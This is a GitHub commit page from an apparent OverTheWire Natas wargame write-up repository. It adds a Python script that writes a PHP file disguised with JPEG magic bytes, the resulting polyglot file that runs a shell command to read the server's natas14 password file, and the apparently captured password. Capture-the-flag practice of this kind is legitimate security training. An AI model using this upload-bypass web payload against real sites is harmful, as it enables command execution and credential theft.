Skip to content

Commit 43b8535

Browse files
committed
natas14
1 parent 2bbec49 commit 43b8535

File tree

4 files changed

+24
-1
lines changed

4 files changed

+24
-1
lines changed

README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -40,4 +40,4 @@ Then change the `filename` request parameter to a string with `.php` extension:
4040
<img src="https://github.com/vaezim/OverTheWire-Writeups/blob/master/natas/media/natas12.png" />
4141
</p>
4242

43-
13)
43+
13) jpeg magic number: `ff d8 ff e0`

natas/code/natas13.php

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
����
2+
<?php
3+
4+
exec("cat /etc/natas_webpass/natas14", $output);
5+
print_r($output[0]);
6+
7+
?>

natas/code/natas13.py

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
jpeg_magic_number = b"\xff\xd8\xff\xe0"
2+
with open("./natas13.php", "wb") as f:
3+
f.write(jpeg_magic_number)
4+
5+
php_code = \
6+
"""
7+
<?php
8+
9+
exec("cat /etc/natas_webpass/natas14", $output);
10+
print_r($output[0]);
11+
12+
?>
13+
"""
14+
with open("./natas13.php", "a") as f:
15+
f.write(php_code)

natas/natas14

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

0 commit comments

Comments
 (0)